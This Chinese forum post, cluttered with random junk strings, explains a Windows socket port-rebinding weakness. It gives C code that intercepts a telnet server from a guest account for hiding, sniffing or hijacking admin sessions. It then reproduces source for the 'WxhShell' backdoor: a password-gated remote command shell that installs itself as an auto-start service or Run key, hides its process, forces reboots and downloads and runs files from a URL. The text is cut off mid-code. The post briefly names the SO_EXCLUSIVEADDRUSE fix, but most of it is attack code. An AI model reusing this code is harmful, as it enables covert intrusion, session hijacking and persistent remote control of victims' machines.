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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 50hh0!1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xr-`i  
ML"P"&~u6  
  saddr.sin_family = AF_INET; .Qw@H#dtW  
Oqe.t;E 0}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ewsg&CCN  
^3s&90  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _!p$47  
Z!l!3(<G.f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .E8p-R5)V>  
"@? kxRn!  
  这意味着什么?意味着可以进行如下的攻击: kxf=%<l  
o[W3/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^ nZ2p$  
X',0MBQ0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =v=!x  
q;~>h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u`2k6.-  
"fJ|DE&@<i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ga9:*G!b{)  
myX0<j3G5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1)r_h(  
?bDae%>.d,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r:rJv  
Q31c@t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ov>L-  
RteTz_ z{  
  #include d+ko"F|  
  #include )#Bfd(F  
  #include $s!meg@s  
  #include    Dx)XC?'xO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z5'nS&x  
  int main() nQ3goVRFP  
  { b u9&sQ;  
  WORD wVersionRequested; PdBhX  
  DWORD ret; ID+k`nP  
  WSADATA wsaData; SnU{ZGR>sP  
  BOOL val; Xe+FMbBco  
  SOCKADDR_IN saddr; ?{")Wt  
  SOCKADDR_IN scaddr; [i#Gqx>'w  
  int err; <ft9B05*  
  SOCKET s; :[0 3upyS  
  SOCKET sc; |%;txD  
  int caddsize; XnOl*#P  
  HANDLE mt; =(\!,S'  
  DWORD tid;   0+i,,^x.  
  wVersionRequested = MAKEWORD( 2, 2 ); y@JYkp>I  
  err = WSAStartup( wVersionRequested, &wsaData ); ZfikNQU9r  
  if ( err != 0 ) { bOKNWI   
  printf("error!WSAStartup failed!\n"); *4y r7~S5  
  return -1; nP31jm+A  
  } Q6>( Z  
  saddr.sin_family = AF_INET; NZP,hAUK,  
   "r+<=JU>OV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e84TL U?~  
Vrh],xK7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RVnYe='  
  saddr.sin_port = htons(23); }iAi`_\0;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JqZ5DjI:  
  { KZNyp%q  
  printf("error!socket failed!\n"); {jG`l$$  
  return -1; =1capix 1r  
  } jp`N%O]6  
  val = TRUE; ic#drpl,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Um<vsR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XU7bWafy  
  { ` 454=3H  
  printf("error!setsockopt failed!\n"); 6B{Awm@v}X  
  return -1; 'h6RZKG T  
  } L+L9)8FJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }JsdgO&z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9n7d "XD2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P+UK@~D+G  
i|mA/ e3b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _T$\$v$ {  
  { X;NTz75  
  ret=GetLastError();  HV(Kz  
  printf("error!bind failed!\n"); :ux`*,zh  
  return -1; ?da3Azp  
  } }d(6N&;"zN  
  listen(s,2); aJ5R0Y,  
  while(1) rpmDr7G  
  { }0G Ab2  
  caddsize = sizeof(scaddr); x?IT#ty  
  //接受连接请求 8Yh2K}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A-FwNo2"%  
  if(sc!=INVALID_SOCKET) ?x97 q3I+]  
  { 9D,& )6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `O/)q^m1L  
  if(mt==NULL) 51vK>  
  { ;l'I. j  
  printf("Thread Creat Failed!\n"); >. Y ~F(  
  break; G. }yNjL8  
  } c z|IBsa*  
  } QS}=oOR@k  
  CloseHandle(mt); L;"<8\vWB  
  } P7b2I=t  
  closesocket(s); $$@Tgkg?o  
  WSACleanup(); MYDSkW  
  return 0; 8~i@7~ J  
  }   HD ~9EK~  
  DWORD WINAPI ClientThread(LPVOID lpParam) SxDE3A-:  
  { Lj H];=R  
  SOCKET ss = (SOCKET)lpParam; vF,l?cU~  
  SOCKET sc; ($wYaw z  
  unsigned char buf[4096]; / @&Sqv4?  
  SOCKADDR_IN saddr; o;.-I[9h]  
  long num; llzl-2` /  
  DWORD val; Fv9Z'#t  
  DWORD ret; D&shrKFx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -n9e-0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )~`zjVx_  
  saddr.sin_family = AF_INET; xn"g_2Hi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $spf=t"nh  
  saddr.sin_port = htons(23); yS*PS='P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sR6 (8  
  { !o@-kl  
  printf("error!socket failed!\n"); N]duv~JS  
  return -1; 4g 1h:I/  
  } ^.(]i \V_  
  val = 100; L8W3Tpi&(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4Qd g t*  
  { 8^{BuUA  
  ret = GetLastError(); B;m18LDu  
  return -1; Pc3u`QL?  
  } <n>< A+D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5?b9[o+ D  
  { qb_V ,b9  
  ret = GetLastError(); g5 E]o)  
  return -1; 8X%;29tow  
  } ql#K72s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BjH(E'K[b  
  { <ESAoY"RPN  
  printf("error!socket connect failed!\n"); aQ)9<LsI  
  closesocket(sc); /EC m  
  closesocket(ss); ~_raI7,  
  return -1; Dihk8qJ/6  
  } B0Z@ Cf  
  while(1) 9$_}E`  
  { y?rsfIth`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O^f@ g l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (~P&$$qfD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b,c vQD  
  num = recv(ss,buf,4096,0); ZGf=/Ra a  
  if(num>0) u7/M>YJ`T  
  send(sc,buf,num,0); L+,{*Uj[;  
  else if(num==0) [J^,_iN[.  
  break; }$7Hf+G  
  num = recv(sc,buf,4096,0); b#P8Je`;9  
  if(num>0) qb! vI3  
  send(ss,buf,num,0); $]Q_x?  
  else if(num==0) H(pOR< `  
  break; %B~`bUHjq  
  } S&VN</p  
  closesocket(ss); Rn}+l[]jC  
  closesocket(sc); g~cWBr%>  
  return 0 ; P`"dj@1'  
  } mb&b=&  
"evLI?  
Z?GC+hG`  
========================================================== 0{j>u`  
nBNZ@nD  
下边附上一个代码,,WXhSHELL p* ^O 8o  
@}FRiPo6  
========================================================== |sI^_RdBv  
-Wmpj  
#include "stdafx.h" 5Zq- |"|  
^wX_@?aKtt  
#include <stdio.h> im&| H-  
#include <string.h> #0mn_#-P)  
#include <windows.h> a#kZY7s  
#include <winsock2.h> ]$z~;\T  
#include <winsvc.h> &;y(@e }D  
#include <urlmon.h> m, *f6g  
\O^= Z{3y  
#pragma comment (lib, "Ws2_32.lib") 's e 9|:  
#pragma comment (lib, "urlmon.lib") o2jnmv~  
08'JT{iid  
#define MAX_USER   100 // 最大客户端连接数 "e_ED*  
#define BUF_SOCK   200 // sock buffer $mpfr#!&3o  
#define KEY_BUFF   255 // 输入 buffer d 5Il0sG  
87*R#((  
#define REBOOT     0   // 重启 au GN~"n^  
#define SHUTDOWN   1   // 关机 w("jyvV[C  
BG'gk#J+f  
#define DEF_PORT   5000 // 监听端口 #Uudx~b  
:\.v\.wm  
#define REG_LEN     16   // 注册表键长度 Z3S\@_/;  
#define SVC_LEN     80   // NT服务名长度 7}nOF{RH]  
 R z[-  
// 从dll定义API  R,y8~D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,x_g|J _Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iA%3cpIc(Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @m(\f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H-I*;  
>f_D|;EV  
// wxhshell配置信息 9%)'QDVGLf  
struct WSCFG { ,,@_r&f:  
  int ws_port;         // 监听端口 X-t4irZ)  
  char ws_passstr[REG_LEN]; // 口令 dso\+s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6_9w1 ,W E  
  char ws_regname[REG_LEN]; // 注册表键名 >;HXH^q  
  char ws_svcname[REG_LEN]; // 服务名 4h(aTbHaQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $bMeL7CN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A@`C<O ^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >+8mq]8^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NeNKOW#X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8l?]UFM>C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2Y$==j  
J,IOp-  
}; ^ 41 p+  
q/]tJ{FI  
// default Wxhshell configuration mTcLocx  
struct WSCFG wscfg={DEF_PORT, Th"7p:SE?  
    "xuhuanlingzhe", Wmp\J3  
    1, |rNm_L2  
    "Wxhshell", Ef7 Kx49I  
    "Wxhshell",  dedi6Brl  
            "WxhShell Service", |QHWX^pO  
    "Wrsky Windows CmdShell Service", %d*}:295  
    "Please Input Your Password: ", K5k,47"  
  1, ZW,PZ<  
  "http://www.wrsky.com/wxhshell.exe", ]Q^oc  
  "Wxhshell.exe" ^B5Hjf9  
    }; 9#_49euy|P  
e _,_:|t  
// 消息定义模块 Q}I. UG_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4CNK ]2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; />]/At  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  {!x-kF_  
char *msg_ws_ext="\n\rExit."; KX*e2 /0  
char *msg_ws_end="\n\rQuit."; aIkxN&  
char *msg_ws_boot="\n\rReboot..."; $|A vT;4  
char *msg_ws_poff="\n\rShutdown..."; ncihc$V<  
char *msg_ws_down="\n\rSave to "; }_u )3X.O  
f *)t<1f  
char *msg_ws_err="\n\rErr!"; t6LTGWs/_o  
char *msg_ws_ok="\n\rOK!"; ysvn*9h+&  
d{DlW |_  
char ExeFile[MAX_PATH]; &4DvZq=  
int nUser = 0; BhNwC[G?m  
HANDLE handles[MAX_USER]; ]>x674H  
int OsIsNt; GfVMj7{  
k \]@  
SERVICE_STATUS       serviceStatus; 5%+T~ E*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i"_JF-IbN  
MJ>(HJY6?%  
// 函数声明 HaLEQ73  
int Install(void); UlQ}   
int Uninstall(void); -BNW\ ]}  
int DownloadFile(char *sURL, SOCKET wsh); \QYs(nm?k  
int Boot(int flag); K@ W~  
void HideProc(void); yUBic~S  
int GetOsVer(void); >Utn[']~  
int Wxhshell(SOCKET wsl); V8&%fxn+  
void TalkWithClient(void *cs); >>&~;PG[  
int CmdShell(SOCKET sock); A.y"R)G  
int StartFromService(void); /n(0nU[  
int StartWxhshell(LPSTR lpCmdLine); cj5p I?@e)  
3",6 E(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {"s9A&  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  #]n[  
V$^x]z  
// 数据结构和表定义 E&]S No<  
SERVICE_TABLE_ENTRY DispatchTable[] = I%p Q2T$;  
{ "<bL-k*H)  
{wscfg.ws_svcname, NTServiceMain}, `5h$@  
{NULL, NULL} Qb9) 1  
}; &>sG x K  
)]rGGNF*  
// 自我安装 H2rh$2  
int Install(void) B>-Iv _  
{ >}_c<`:  
  char svExeFile[MAX_PATH]; (S1$g ~t;  
  HKEY key; us$~6  
  strcpy(svExeFile,ExeFile); u V=rLDY  
p5>TL!4M  
// 如果是win9x系统,修改注册表设为自启动 )p ,-TtV  
if(!OsIsNt) { 3^ wJ4=^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o"TEmZUP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O^|,Cbon6  
  RegCloseKey(key); w QwY_ _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oa47TqFt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (\#j3Y)r  
  RegCloseKey(key); W:hR8 1ci  
  return 0; gXs@FhR0  
    } ;%Jp@'46  
  } d.2   
} 2>?GD@GE  
else { 7ugmZO}lL  
C[<&% =  
// 如果是NT以上系统,安装为系统服务 z{;W$SO 2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y~gpiL3u  
if (schSCManager!=0) In:h%4>  
{ G }TT-  
  SC_HANDLE schService = CreateService {ZN{$Ad3/  
  ( j@2-^q:`  
  schSCManager, T\. 8og  
  wscfg.ws_svcname, /vSFQ}W  
  wscfg.ws_svcdisp, u;1#eP\;  
  SERVICE_ALL_ACCESS, (47jop0RDQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g`3g#h$  
  SERVICE_AUTO_START, {Yv |C)O  
  SERVICE_ERROR_NORMAL, ~d){7OG  
  svExeFile, Sg')w1  
  NULL, >p2v"XX  
  NULL, UyTq(7uo  
  NULL, DlfXzKn;  
  NULL, ;MNEe% TJ  
  NULL ]N2'L!4|;  
  ); ||9f@9  
  if (schService!=0) *E+) mB"~  
  { /.7x[Yc  
  CloseServiceHandle(schService); ",Ek| z  
  CloseServiceHandle(schSCManager); ;bkS0Vmg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >3 qy'lm  
  strcat(svExeFile,wscfg.ws_svcname); tAbIT;>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _mA[^G=gY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o NJ/AT  
  RegCloseKey(key);  nPvR  
  return 0; 5o rA#B  
    } F2 >o"j2  
  } LEHlfB#z`@  
  CloseServiceHandle(schSCManager); 3l5q?"$  
} [@Uc4LX  
} r$G;^  
>(:KEA  
return 1; z4H!b+   
} >d#B149  
%6kD^K-  
// 自我卸载 cf@:rHB}  
int Uninstall(void) ?HZ+fS ,-  
{ )x?F1/  
  HKEY key; ~wh8)rm  
$].< /  
if(!OsIsNt) { O#cXvv]Z*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _pjpPSV6J  
  RegDeleteValue(key,wscfg.ws_regname); Z+I[  
  RegCloseKey(key); <bIAq8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {3 zq.e{  
  RegDeleteValue(key,wscfg.ws_regname); AP/tBC eM  
  RegCloseKey(key); ?%*Zgk!l7  
  return 0; > YN<~z-  
  } 8%vk"h:u:  
} ,f} s!>j  
} CQ#p2  
else { Kax85)9u  
Z78&IbR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UAUo)VVi"  
if (schSCManager!=0) CO 5?UgA  
{ rw8db'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _oe2 pL&  
  if (schService!=0) b .j\=c  
  { |w:7).P  
  if(DeleteService(schService)!=0) { 6dq5f?w]  
  CloseServiceHandle(schService); !mq+Oz~  
  CloseServiceHandle(schSCManager); jNrGsIY$  
  return 0; U2@?!B[\d`  
  } \CU.'|X  
  CloseServiceHandle(schService); xjv?Z"X  
  } 611:eLyy&l  
  CloseServiceHandle(schSCManager); TpZ)v.w~l7  
} 0'VwObq  
} !63x^# kg  
XZIj' a0d  
return 1; 5I t+ S+a  
} Jr\4x7a;`~  
I9k o*f  
// 从指定url下载文件 UT]LF#.(  
int DownloadFile(char *sURL, SOCKET wsh) NqlG=pu  
{ Z`q?pE>R  
  HRESULT hr; "aAzG+NM  
char seps[]= "/"; hZc$`V=R  
char *token; zcP_-q]1  
char *file; SP5/K3t-*  
char myURL[MAX_PATH]; a|lcOU  
char myFILE[MAX_PATH]; 0alm/or  
hPD2/M  
strcpy(myURL,sURL); /m.6NVu7  
  token=strtok(myURL,seps); DoNbCVZ  
  while(token!=NULL) 3QU<vdtr  
  { F|%[s|s  
    file=token; m~#98ZJ^  
  token=strtok(NULL,seps); ]"{K5s7  
  } fh}\#WE"  
iI&J_Y{1a_  
GetCurrentDirectory(MAX_PATH,myFILE); |HhUU1!  
strcat(myFILE, "\\"); yH@W6'.  
strcat(myFILE, file); O .m; a_  
  send(wsh,myFILE,strlen(myFILE),0); $>]7NTP  
send(wsh,"...",3,0); 7 45Uo'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &37QUdp+p  
  if(hr==S_OK) 8L6!CP_!  
return 0; N3 07lGb  
else 3dQV5E.  
return 1; -HS(<V=a?k  
5e6]v2 k  
} F{B__Kf  
Ql3hq.E  
// 系统电源模块 8u!!a^F  
int Boot(int flag) !T#~.QP4  
{ wh[XJ_xY  
  HANDLE hToken; 2u/~#Rt&*  
  TOKEN_PRIVILEGES tkp; : H0+}=  
[8(e`6xePb  
  if(OsIsNt) { BC 9rsb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g75)&U`>}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A"2k,{d  
    tkp.PrivilegeCount = 1; I+kDx=T !  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0[H'l",~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v<HhB.t.  
if(flag==REBOOT) { Wg3y y8vIW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^8ZVB.Fv  
  return 0; ~?H _?}e  
} gp$oQh#37;  
else { Pp*|EW 1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C;-9_;&  
  return 0; _qR1M):yJ  
} nX7{09  
  } Dny5X.8  
  else { 4'cdV0]  
if(flag==REBOOT) { jn&[=Y-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WSz#g2a  
  return 0; kid3@  
} 2,{m>fF  
else { +ng8!k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [nZ3}o  
  return 0;  W>.KV7  
} d OQU#5  
} =6y4*f  
7q&Ru|T33  
return 1; LBh|4S$K  
} a^ hDxeG  
)$p<BLU  
// win9x进程隐藏模块 jjN ]*{s  
void HideProc(void) P:eY>~m<;  
{ f02 <u  
s"7wG!yf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .DR^<Qy  
  if ( hKernel != NULL ) b)"bX}  
  { C_mPw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d~M;@<eD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~Gx"gK0  
    FreeLibrary(hKernel); ebxpKtEC  
  } ]:uJ&xUar  
]a F,r"  
return; j qfxQ  
} vPz$jeA  
d:cs8f4>  
// 获取操作系统版本 5v >0$Y{  
int GetOsVer(void) \bNN]=  
{ wl|cipy"  
  OSVERSIONINFO winfo; 96x$Xl;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ? WyL|;b*  
  GetVersionEx(&winfo); JR>#PJ,N-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =|_:H$94  
  return 1; MHar9)$}  
  else Gw%P5 r}Y  
  return 0; ye !}hm=w  
} :)hS-*P  
Qk2^p^ T6  
// 客户端句柄模块 /Z`("X?_Kf  
int Wxhshell(SOCKET wsl) y;aZMT.YI  
{ 6a$=m3ic  
  SOCKET wsh; "O@L IR7  
  struct sockaddr_in client; Jm0o[4  
  DWORD myID; l-4+{6lz  
n3Uw6gLD  
  while(nUser<MAX_USER) z !2-U  
{ eFJ .)Z  
  int nSize=sizeof(client); $3.hZx>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b'F#Y9  
  if(wsh==INVALID_SOCKET) return 1;  @Tk5<B3  
6xI9 %YDy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |Rk9W  
if(handles[nUser]==0) 4L<h% 'Zn  
  closesocket(wsh); u~[=5r  
else j8gw]V/B:  
  nUser++; .&Tcds  
  } ]rk8Jsg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); phkfPvL{  
#Xdj:T<*  
  return 0; oZVq }}R  
} a@+n  
pYXusS7S  
// 关闭 socket Qy< ~{6V  
void CloseIt(SOCKET wsh) H$G`e'`OZ  
{ 0_\@!#-sml  
closesocket(wsh); P[Q3z$I}  
nUser--;  NW$_w  
ExitThread(0); aS2Mx~  
} Ky:y1\K1^K  
,e]|[,r#5  
// 客户端请求句柄 -l)u`f^n|  
void TalkWithClient(void *cs) i6Zsn#Z7)  
{ 0Z{;sW  
W.67};',  
  SOCKET wsh=(SOCKET)cs; YC,)t71l{  
  char pwd[SVC_LEN]; Obj?,O  
  char cmd[KEY_BUFF]; pGO=3=O  
char chr[1]; IhRWa|{I  
int i,j; <d`ksZ+  
u( kacQ7  
  while (nUser < MAX_USER) { wgETL|3-  
#Cy9E"lP  
if(wscfg.ws_passstr) { S8_>Lw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qf=+%-$Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wjf,AjL\  
  //ZeroMemory(pwd,KEY_BUFF); DERhmJ;>H  
      i=0; (-e*xM m  
  while(i<SVC_LEN) {  -9f+O^x  
SO!|wag$  
  // 设置超时 z+~klv 3  
  fd_set FdRead; Of@ LEEh6  
  struct timeval TimeOut; qG&}lg?g{  
  FD_ZERO(&FdRead); [p:mja.6y  
  FD_SET(wsh,&FdRead); 655OL)|cD6  
  TimeOut.tv_sec=8; s+omCr|H;A  
  TimeOut.tv_usec=0; 8*$HS.Db'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O/{X:Ja{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vGST{Lz;  
@)^|U"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O~udlVn<6  
  pwd=chr[0]; e]!`Cl-f80  
  if(chr[0]==0xd || chr[0]==0xa) { $URL7hrhU  
  pwd=0; VnU/_# n  
  break; 1+Z@4;fk  
  } 1 x'H #  
  i++; +m>)q4e  
    } V1]QuQ{&s  
gXb * zt2  
  // 如果是非法用户,关闭 socket q RbU@o.3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \GP0FdpV  
} z&Kh$ $)[  
6o cTQ}=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bd$``(b`v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~c\iBk  
x)0''}E~  
while(1) { H'_v  
d"nms\=p  
  ZeroMemory(cmd,KEY_BUFF); QNcbl8@  
Pxy+W*t  
      // 自动支持客户端 telnet标准   ~:xR0dqx  
  j=0; ,bRYqU?#0  
  while(j<KEY_BUFF) { ObzFh?W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Y*jL&!  
  cmd[j]=chr[0]; W2T-TI,>PC  
  if(chr[0]==0xa || chr[0]==0xd) { G pC*w ~  
  cmd[j]=0; G5T(  
  break; nYE' 'g+x  
  } d>1cKmH!  
  j++; o ?`LZd:{  
    } xO0}A1t Wd  
I*`;1+`  
  // 下载文件 3jzmiS]  
  if(strstr(cmd,"http://")) { DPM4v7 S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PZYVLUw `  
  if(DownloadFile(cmd,wsh)) dml,|k=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>'xmp+#  
  else k8S`44vj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T/nG\WZbZn  
  } "*HVL  
  else { ["~T)d'  
GWCU 9n  
    switch(cmd[0]) { dUc ([&  
  >^bSjE  
  // 帮助 ,(v=ZeI  
  case '?': { z>A;|iL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,b,t^xX>)  
    break; +8Q5[lh2]j  
  } =DsFR9IB  
  // 安装 R^Y>v5jAe  
  case 'i': { z`2Ais@ao  
    if(Install()) )>r sX)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^EZ?wdL  
    else W@p27Tiq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %j. *YvveW  
    break; qE@H~&  
    } ::k cV'*  
  // 卸载 -Zfq:Kr  
  case 'r': { f =kt0  
    if(Uninstall()) 0fAo&B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^2-+MWW.  
    else }_,={<g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ['DYP-1J  
    break;  hpOK9  
    } yo]8QO]97  
  // 显示 wxhshell 所在路径 Xp?WoC N  
  case 'p': { 5.U4P<qS  
    char svExeFile[MAX_PATH]; q?=_{oH9  
    strcpy(svExeFile,"\n\r"); J"?jaa2~  
      strcat(svExeFile,ExeFile); aSH =|Jnc  
        send(wsh,svExeFile,strlen(svExeFile),0);  XM<  
    break; M|IgG:a;T  
    } TLT6z[  
  // 重启 iL;{]A'0  
  case 'b': { $&KiN82,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P%y$e0  
    if(Boot(REBOOT)) B/gI~e0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m?O"LGBB =  
    else { ROj9#:  
    closesocket(wsh); #)z7&nD  
    ExitThread(0); YE[{Y(5;q  
    } Dfw%Bu  
    break; ~09kIO)  
    } g<s;uRA4O9  
  // 关机 _GsHT\  
  case 'd': { 8 _|"+Ze  
